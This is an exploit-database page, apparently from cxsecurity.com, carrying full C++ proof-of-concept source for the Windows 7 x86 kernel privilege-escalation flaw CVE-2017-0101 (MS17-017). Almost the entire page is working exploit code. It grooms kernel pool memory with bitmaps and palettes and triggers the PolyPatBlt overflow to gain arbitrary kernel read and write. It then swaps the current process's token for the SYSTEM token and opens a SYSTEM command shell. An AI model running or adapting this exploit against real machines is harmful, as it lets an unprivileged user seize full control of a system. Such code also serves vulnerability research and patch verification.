Microsoft Windows Kernel (Windows 7 x86) Local Privilege Escalation (MS17-017)

2018.04.18
Credit: xiaodaozhi
Risk: Medium
Local: Yes
Remote: No
CWE: CWE-264


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

#include <Windows.h> #include <wingdi.h> #include <iostream> #include <Psapi.h> #pragma comment(lib, "psapi.lib") #define POCDEBUG 0 #if POCDEBUG == 1 #define POCDEBUG_BREAK() getchar() #elif POCDEBUG == 2 #define POCDEBUG_BREAK() DebugBreak() #else #define POCDEBUG_BREAK() #endif CONST LONG maxTimes = 2000; CONST LONG tmpTimes = 3000; static HBITMAP hbitmap[maxTimes] = { NULL }; static HPALETTE hpalette[maxTimes] = { NULL }; static DWORD iMemHunted = NULL; static HBITMAP hBmpHunted = NULL; static PDWORD pBmpHunted = NULL; static HPALETTE hPalExtend = NULL; CONST LONG iExtPaleHmgr = 809; CONST LONG iExtcEntries = 814; CONST LONG iExtPalColor = 828; typedef struct _PATRECT { INT nXLeft; INT nYLeft; INT nWidth; INT nHeight; HBRUSH hBrush; } PATRECT, *PPATRECT; typedef BOOL (WINAPI *pfPolyPatBlt)(HDC hdc, DWORD rop, PPATRECT pPoly, DWORD Count, DWORD Mode); static BOOL xxCreateBitmaps(INT nWidth, INT Height, UINT nbitCount) { POCDEBUG_BREAK(); for (LONG i = 0; i < maxTimes; i++) { hbitmap[i] = CreateBitmap(nWidth, Height, 1, nbitCount, NULL); if (hbitmap[i] == NULL) { return FALSE; } } return TRUE; } static BOOL xxDeleteBitmaps(VOID) { BOOL bReturn = FALSE; POCDEBUG_BREAK(); for (LONG i = 0; i < maxTimes; i++) { bReturn = DeleteObject(hbitmap[i]); hbitmap[i] = NULL; } return bReturn; } static BOOL xxRegisterWndClasses(LPCSTR menuName) { POCDEBUG_BREAK(); CHAR buf[0x10] = { 0 }; for (LONG i = 0; i < tmpTimes; i++) { WNDCLASSEXA Class = { 0 }; sprintf(buf, "CLS_%d", i); Class.lpfnWndProc = DefWindowProcA; Class.lpszClassName = buf; Class.lpszMenuName = menuName; Class.cbSize = sizeof(WNDCLASSEXA); if (!RegisterClassExA(&Class)) { return FALSE; } } return TRUE; } static BOOL xxDigHoleInWndClasses(LONG b, LONG e) { BOOL bReturn = FALSE; CHAR buf[0x10] = { 0 }; for (LONG i = b; i < e; i++) { sprintf(buf, "CLS_%d", i); bReturn = UnregisterClassA(buf, NULL); } return bReturn; } static BOOL xxUnregisterWndClasses(VOID) { BOOL bReturn = FALSE; CHAR buf[0x10] = { 0 }; for (LONG i = 0; i < tmpTimes; i++) { sprintf(buf, "CLS_%d", i); bReturn = UnregisterClassA(buf, NULL); } return bReturn; } static BOOL xxCreatePalettes(ULONG cEntries) { BOOL bReturn = FALSE; POCDEBUG_BREAK(); PLOGPALETTE pal = NULL; // 0x64*4+0x58+8=0x1f0 pal = (PLOGPALETTE)malloc(sizeof(LOGPALETTE) + cEntries * sizeof(PALETTEENTRY)); pal->palVersion = 0x300; pal->palNumEntries = cEntries; for (LONG i = 0; i < maxTimes; i++) { hpalette[i] = CreatePalette(pal); if (hpalette[i] == NULL) { bReturn = FALSE; break; } bReturn = TRUE; } free(pal); return bReturn; } static BOOL xxDeletePalettes(VOID) { BOOL bReturn = FALSE; POCDEBUG_BREAK(); for (LONG i = 0; i < maxTimes; i++) { bReturn = DeleteObject(hpalette[i]); hpalette[i] = NULL; } return bReturn; } static BOOL xxRetrieveBitmapBits(VOID) { pBmpHunted = static_cast<PDWORD>(malloc(0x1000)); ZeroMemory(pBmpHunted, 0x1000); LONG index = -1; LONG iLeng = -1; POCDEBUG_BREAK(); for (LONG i = 0; i < maxTimes; i++) { iLeng = GetBitmapBits(hbitmap[i], 0x1000, pBmpHunted); if (iLeng < 0xCA0) { continue; } index = i; std::cout << "LOCATE: " << '[' << i << ']' << hbitmap[i] << std::endl; hBmpHunted = hbitmap[i]; break; } if (index == -1) { std::cout << "FAILED: " << (PVOID)(-1) << std::endl; return FALSE; } return TRUE; } static VOID xxOutputBitmapBits(VOID) { POCDEBUG_BREAK(); for (LONG i = 0; i < 0x1000 / sizeof(DWORD); i++) { std::cout << '['; std::cout.fill('0'); std::cout.width(4); std::cout << i << ']' << (PVOID)pBmpHunted[i]; if (((i + 1) % 4) != 0) { std::cout << " "; } else { std::cout << std::endl; } } std::cout.width(0); } static BOOL xxGetExtendPalette(HPALETTE hHandle) { LONG index = -1; POCDEBUG_BREAK(); for (LONG i = 0; i < maxTimes; i++) { if (hpalette[i] != hHandle) { continue; } index = i; std::cout << "LOCATE: " << '[' << i << ']' << hpalette[i] << std::endl; hPalExtend = hpalette[i]; break; } if (index == -1) { std::cout << "FAILED: " << (PVOID)(-1) << std::endl; return FALSE; } return TRUE; } static BOOL xxPoint(LONG id, DWORD Value) { LONG iLeng = 0x00; pBmpHunted[id] = Value; iLeng = SetBitmapBits(hBmpHunted, 0xD00, pBmpHunted); if (iLeng < 0xD00) { return FALSE; } return TRUE; } static BOOL xxPointToHit(LONG addr, PVOID pvBits, DWORD cb) { UINT iLeng = 0; pBmpHunted[iExtPalColor] = addr; iLeng = SetBitmapBits(hBmpHunted, 0xD00, pBmpHunted); if (iLeng < 0xD00) { return FALSE; } PVOID pvTable = NULL; UINT cbSize = (cb + 3) & ~3; // sizeof(PALETTEENTRY) => 4 pvTable = malloc(cbSize); memcpy(pvTable, pvBits, cb); iLeng = SetPaletteEntries(hPalExtend, 0, cbSize / 4, (PPALETTEENTRY)pvTable); free(pvTable); if (iLeng < cbSize / 4) { return FALSE; } return TRUE; } static BOOL xxPointToGet(LONG addr, PVOID pvBits, DWORD cb) { BOOL iLeng = 0; pBmpHunted[iExtPalColor] = addr; iLeng = SetBitmapBits(hBmpHunted, 0xD00, pBmpHunted); if (iLeng < 0xD00) { return FALSE; } PVOID pvTable = NULL; UINT cbSize = (cb + 3) & ~3; // sizeof(PALETTEENTRY) => 4 pvTable = malloc(cbSize); iLeng = GetPaletteEntries(hPalExtend, 0, cbSize / 4, (PPALETTEENTRY)pvTable); memcpy(pvBits, pvTable, cb); free(pvTable); if (iLeng < cbSize / 4) { return FALSE; } return TRUE; } static BOOL xxFixHuntedPoolHeader(VOID) { DWORD szInputBit[0x100] = { 0 }; CONST LONG iTrueBmpHead = 937; szInputBit[0] = pBmpHunted[iTrueBmpHead + 0]; szInputBit[1] = pBmpHunted[iTrueBmpHead + 1]; BOOL bReturn = FALSE; bReturn = xxPointToHit(iMemHunted + 0x000, szInputBit, 0x08); if (!bReturn) { return FALSE; } return TRUE; } static BOOL xxFixHuntedBitmapObject(VOID) { DWORD szInputBit[0x100] = { 0 }; szInputBit[0] = (DWORD)hBmpHunted; BOOL bReturn = FALSE; bReturn = xxPointToHit(iMemHunted + 0x08, szInputBit, 0x04); if (!bReturn) { return FALSE; } bReturn = xxPointToHit(iMemHunted + 0x1c, szInputBit, 0x04); if (!bReturn) { return FALSE; } return TRUE; } static DWORD_PTR xxGetNtoskrnlAddress(VOID) { DWORD_PTR AddrList[500] = { 0 }; DWORD cbNeeded = 0; EnumDeviceDrivers((LPVOID *)&AddrList, sizeof(AddrList), &cbNeeded); return AddrList[0]; } static DWORD_PTR xxGetSysPROCESS(VOID) { DWORD_PTR Module = 0x00; DWORD_PTR NtAddr = 0x00; Module = (DWORD_PTR)LoadLibraryA("ntkrnlpa.exe"); NtAddr = (DWORD_PTR)GetProcAddress((HMODULE)Module, "PsInitialSystemProcess"); FreeLibrary((HMODULE)Module); NtAddr = NtAddr - Module; Module = xxGetNtoskrnlAddress(); if (Module == 0x00) { return 0x00; } NtAddr = NtAddr + Module; if (!xxPointToGet(NtAddr, &NtAddr, sizeof(DWORD_PTR))) { return 0x00; } return NtAddr; } CONST LONG off_EPROCESS_UniqueProId = 0x0b4; CONST LONG off_EPROCESS_ActiveLinks = 0x0b8; static DWORD_PTR xxGetTarPROCESS(DWORD_PTR SysPROC) { if (SysPROC == 0x00) { return 0x00; } DWORD_PTR point = SysPROC; DWORD_PTR value = 0x00; do { value = 0x00; xxPointToGet(point + off_EPROCESS_UniqueProId, &value, sizeof(DWORD_PTR)); if (value == 0x00) { break; } if (value == GetCurrentProcessId()) { return point; } value = 0x00; xxPointToGet(point + off_EPROCESS_ActiveLinks, &value, sizeof(DWORD_PTR)); if (value == 0x00) { break; } point = value - off_EPROCESS_ActiveLinks; if (point == SysPROC) { break; } } while (TRUE); return 0x00; } CONST LONG off_EPROCESS_Token = 0x0f8; static DWORD_PTR dstToken = 0x00; static DWORD_PTR srcToken = 0x00; static BOOL xxModifyTokenPointer(DWORD_PTR dstPROC, DWORD_PTR srcPROC) { if (dstPROC == 0x00 || srcPROC == 0x00) { return FALSE; } // get target process original token pointer xxPointToGet(dstPROC + off_EPROCESS_Token, &dstToken, sizeof(DWORD_PTR)); if (dstToken == 0x00) { return FALSE; } // get system process token pointer xxPointToGet(srcPROC + off_EPROCESS_Token, &srcToken, sizeof(DWORD_PTR)); if (srcToken == 0x00) { return FALSE; } // modify target process token pointer to system xxPointToHit(dstPROC + off_EPROCESS_Token, &srcToken, sizeof(DWORD_PTR)); // just test if the modification is successful DWORD_PTR tmpToken = 0x00; xxPointToGet(dstPROC + off_EPROCESS_Token, &tmpToken, sizeof(DWORD_PTR)); if (tmpToken != srcToken) { return FALSE; } return TRUE; } static BOOL xxRecoverTokenPointer(DWORD_PTR dstPROC, DWORD_PTR srcPROC) { if (dstPROC == 0x00 || srcPROC == 0x00) { return FALSE; } if (dstToken == 0x00 || srcToken == 0x00) { return FALSE; } // recover the original token pointer to target process xxPointToHit(dstPROC + off_EPROCESS_Token, &dstToken, sizeof(DWORD_PTR)); return TRUE; } static VOID xxCreateCmdLineProcess(VOID) { STARTUPINFO si = { sizeof(si) }; PROCESS_INFORMATION pi = { 0 }; si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_SHOW; WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" }; BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi); if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess); } static VOID xxPrivilegeElevation(VOID) { BOOL bReturn = FALSE; do { DWORD SysPROC = 0x0; DWORD TarPROC = 0x0; POCDEBUG_BREAK(); SysPROC = xxGetSysPROCESS(); if (SysPROC == 0x00) { break; } std::cout << "SYSTEM PROCESS: " << (PVOID)SysPROC << std::endl; POCDEBUG_BREAK(); TarPROC = xxGetTarPROCESS(SysPROC); if (TarPROC == 0x00) { break; } std::cout << "TARGET PROCESS: " << (PVOID)TarPROC << std::endl; POCDEBUG_BREAK(); bReturn = xxModifyTokenPointer(TarPROC, SysPROC); if (!bReturn) { break; } std::cout << "MODIFIED TOKEN TO SYSTEM!" << std::endl; std::cout << "CREATE NEW CMDLINE PROCESS..." << std::endl; POCDEBUG_BREAK(); xxCreateCmdLineProcess(); POCDEBUG_BREAK(); std::cout << "RECOVER TOKEN..." << std::endl; bReturn = xxRecoverTokenPointer(TarPROC, SysPROC); if (!bReturn) { break; } bReturn = TRUE; } while (FALSE); if (!bReturn) { std::cout << "FAILED" << std::endl; } } INT POC_CVE20170101(VOID) { std::cout << "-------------------" << std::endl; std::cout << "POC - CVE-2017-0101" << std::endl; std::cout << "-------------------" << std::endl; BOOL bReturn = FALSE; HDC hdc = NULL; HBITMAP hbmp = NULL; HBRUSH hbru = NULL; pfPolyPatBlt pfnPolyPatBlt = NULL; do { hdc = GetDC(NULL); std::cout << "GET DEVICE CONTEXT: " << hdc << std::endl; if (hdc == NULL) { break; } std::cout << "CREATE PATTERN BRUSH BITMAP..." << std::endl; hbmp = CreateBitmap(0x36D, 0x12AE8F, 1, 1, NULL); if (hbmp == NULL) { break; } std::cout << "CREATE PATTERN BRUSH..." << std::endl; hbru = CreatePatternBrush(hbmp); if (hbru == NULL) { break; } std::cout << "CREATE BITMAPS (1)..." << std::endl; bReturn = xxCreateBitmaps(0xE8C, 1, 8); if (!bReturn) { break; } std::cout << "REGISTER WINDOW CLASSES..." << std::endl; bReturn = xxRegisterWndClasses("KCUF"); if (!bReturn) { break; } std::cout << "DELETE BITMAPS (1)..." << std::endl; xxDeleteBitmaps(); std::cout << "CREATE BITMAPS (2)..." << std::endl; bReturn = xxCreateBitmaps(0xC98, 1, 8); if (!bReturn) { break; } std::cout << "CREATE PALETTES (1)..." << std::endl; bReturn = xxCreatePalettes(0x64); if (!bReturn) { break; } std::cout << "UNREGISTER WINDOW CLASSES (H)..." << std::endl; xxDigHoleInWndClasses(1000, 2000); std::cout << "POLYPATBLT..." << std::endl; POCDEBUG_BREAK(); pfnPolyPatBlt = (pfPolyPatBlt)GetProcAddress(GetModuleHandleA("gdi32"), "PolyPatBlt"); if (pfnPolyPatBlt == NULL) { break; } PATRECT ppb[1] = { 0 }; ppb[0].nXLeft = 0x100; ppb[0].nYLeft = 0x100; ppb[0].nWidth = 0x100; ppb[0].nHeight = 0x100; ppb[0].hBrush = hbru; pfnPolyPatBlt(hdc, PATCOPY, ppb, 1, 0); std::cout << "LOCATE HUNTED BITMAP..." << std::endl; bReturn = xxRetrieveBitmapBits(); if (!bReturn) { break; } // std::cout << "OUTPUT BITMAP BITS..." << std::endl; // xxOutputBitmapBits(); std::cout << "LOCATE EXTEND PALETTE..." << std::endl; bReturn = xxGetExtendPalette((HPALETTE)pBmpHunted[iExtPaleHmgr]); if (!bReturn) { break; } if ((pBmpHunted[iExtcEntries]) != 0x64 || (pBmpHunted[iExtPalColor] & 0xFFF) != 0x00000E54) { bReturn = FALSE; std::cout << "FAILED: " << (PVOID)pBmpHunted[iExtPalColor] << std::endl; break; } iMemHunted = (pBmpHunted[iExtPalColor] & ~0xFFF); std::cout << "HUNTED PAGE: " << (PVOID)iMemHunted << std::endl; std::cout << "FIX HUNTED POOL HEADER..." << std::endl; bReturn = xxFixHuntedPoolHeader(); if (!bReturn) { break; } std::cout << "FIX HUNTED BITMAP OBJECT..." << std::endl; bReturn = xxFixHuntedBitmapObject(); if (!bReturn) { break; } std::cout << "-------------------" << std::endl; std::cout << "PRIVILEGE ELEVATION" << std::endl; std::cout << "-------------------" << std::endl; xxPrivilegeElevation(); std::cout << "-------------------" << std::endl; std::cout << "DELETE BITMAPS (2)..." << std::endl; xxDeleteBitmaps(); std::cout << "DELETE PALETTES (1)..." << std::endl; xxDeletePalettes(); bReturn = TRUE; } while (FALSE); if (bReturn == FALSE) { std::cout << GetLastError() << std::endl; } POCDEBUG_BREAK(); std::cout << "DELETE BRUSH..." << std::endl; DeleteObject(hbru); DeleteObject(hbmp); std::cout << "UNREGISTER WINDOW CLASSES (1)..." << std::endl; xxUnregisterWndClasses(); std::cout << "-------------------" << std::endl; getchar(); return 0; } INT main(INT argc, CHAR *argv[]) { POC_CVE20170101(); return 0; }


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2018, cxsecurity.com

 

Back to Top